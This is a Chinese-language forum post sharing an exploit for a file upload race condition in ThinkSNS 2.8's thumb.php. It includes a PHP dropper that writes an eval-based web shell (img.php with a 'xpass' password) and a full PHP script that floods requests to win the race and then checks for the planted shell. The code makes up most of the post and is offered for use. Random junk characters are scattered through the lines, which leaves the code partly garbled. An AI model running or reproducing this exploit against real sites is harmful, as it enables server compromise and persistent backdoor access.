找回密码
 立即注册
查看: 2732|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本, U- i5 w. [) w- ~
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
- \' d) G0 g0 L# H. K/ ?* `漏洞文件
, h2 U+ r, \: i+ p' |存在漏洞的文件为:thumb.php8 }8 u) X- q( Y6 U$ ?% e
作者:韦鲲鹏/ P6 M6 [; e& K+ L+ q. U: k8 n
1、        准备如下PHP文件并上传到服务器(自己的)。
, J, T( i3 O: Z1 b3 v文件内容如下:
) |9 j0 k" |. s9 E, R3 N2 {<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>8 w# H' q/ w( D& H" M
2、        计算出临时的文件名:
" [7 K: F1 b. s6 h这里我们可以看文件的99行(刚刚是不是没注意呀!)。( Y$ E% ]6 j9 |5 J2 L, j& F+ _9 |

; q1 I2 {! H- `- ~8 K: @3、        上传临时文件。4 [  ]% }' C6 G# Q+ j) c4 R) a
4、        访问临时文件。
1 i' x+ c# s4 l) f2 y/ H但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
: u5 r9 V9 N2 V$ w7 o* q7 lExploit文件内容如下:(这个我就不详细解释了)
2 a; J* F/ M( |$ [- ?4 Y<?php5 a2 X. W, m! w2 X
error_reporting(0);: `9 _3 x8 `( v: R
set_time_limit(0);
& X( `% ~: c+ \9 p* ~ini_set(“default_socket_timeout”, 5);
3 U: O- ?! W8 lfunction http_send($host, $port, $headers) {7 }" x( I. u. v; y
$fp = fsockopen($host, $port);  Y$ C3 N' b2 \6 i* K) W& m& p
if (!$fp) die(‘Connection -> fail’);& s* v4 A; U2 x% i. ~
fputs($fp, $headers);
6 l' G. ^$ }9 z9 Kreturn $fp;
8 M' I$ [" e" e9 U}7 p/ T2 p9 A9 n0 Y: n  D
function http_recv($fp) {
  w8 |2 i3 G# d$ret=”";& L6 U+ \* t0 A) M( @, I
while (!feof($fp))
3 V8 i! ^6 i8 |. I5 k/ Q4 d$ret.= fgets($fp, 1024);
+ G5 X( I+ N6 Kfclose($fp);
% D# d7 X9 T7 p" R0 p) t& U  x9 \return $ret;1 X) s5 {& b+ L
}
" Y& ^1 X$ I0 Q* a4 J+ l( ~5 ]print “\n#  ThinkSns Arbitrary File Upload   #\n”;3 c5 ~! s: R0 W+ k2 v
print “# Discovered by 韦鲲鹏 #\n\n”;
8 n4 X6 l: e/ K0 O5 r8 Vif ($argc < 4) {3 w& i; y* A! ~/ I3 ?
print “Usage:   php <host> <path> <romote_url>\n”;
( q6 C- h2 a8 l7 e: t: y7 Wprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;+ k4 ?5 i9 h7 o, q# I: D" D. C
die();
! _5 c3 _. Z) I* V+ ?+ \}
2 b7 J! G. O- W$host = $argv[1];
2 j$ ~. p0 f1 I3 t$path = $argv[2];
/ c+ J! q# P" C$url = $argv[3];3 Z8 P+ |0 {5 B+ Y( e' J
$i=0;: K2 N# V1 J0 [# D3 [
//上传数据包
. Z. j  g" o% s" y- `% ]$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
* }- s, b' l- Y0 D& l5 I/ n$headers_up .= “Host: “.$host.”\r\n”;
8 j, u- w) k2 N2 p* `% u$headers_up .= “Connection: close\r\n\r\n”;6 U# A' X# ^2 a1 D7 E( w0 k# G
echo $headers_up;5 t6 L. T& u. a9 W6 C( n: S
//临时文件访问数据包' Y( P+ f; p3 ^, w) x
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
2 m& X' ^" @* A" q( [$headers .= “Host: “.$host.”\r\n”;# J8 |' V+ z, D: f9 T2 H3 O
$headers .= “Connection: close\r\n\r\n”;
( O% ?0 q8 X7 \4 kecho $headers;
, [0 L+ {( M. J3 bwhile(++$i<10) {
6 H4 ~2 j2 f* K& ]8 @6 Dfclose(http_send($host, 80, $headers));7 G/ c, Z4 {. n, r2 n
}
+ O. A  X1 t# g& ~# e3 Rfclose(http_send($host, 80, $headers_up));
& F5 Z( ?* |8 W4 v: V9 A3 Cwhile(++$i<50) {7 N) F! X8 Z3 s, l  D4 j/ R) `1 A
fclose(http_send($host, 80, $headers));
, ]" [% o0 V* p1 V}
3 p4 j% ], M5 x6 J# e$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;& V$ S' L1 e3 n* ~3 B- G' v( h
$headers .= “Host: “.$host.”\r\n”;& {% [# U0 y# j9 y: p! n
$headers .= “Connection: close\r\n\r\n”;2 _7 _: S/ j. r+ ~0 p! P$ H; I! ^
$res=http_recv(http_send($host, 80, $headers));
2 x& s: p% \; H; Z1 L& f5 A! Lif(preg_match(‘/200 OK/’,$res)) {1 _3 W, @5 M1 J3 E2 \
print “Success!\n\n”;
( {2 n4 H  }: W+ Y! v7 h} else {4 c% \* U/ B( `* X
print “Fail!\n\n”;- E" \. C% l% Q/ H
}
" S% ]1 r, t+ L) `* F) S% h?>
0 W) m% T5 z( ?: i  S0 d) D
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表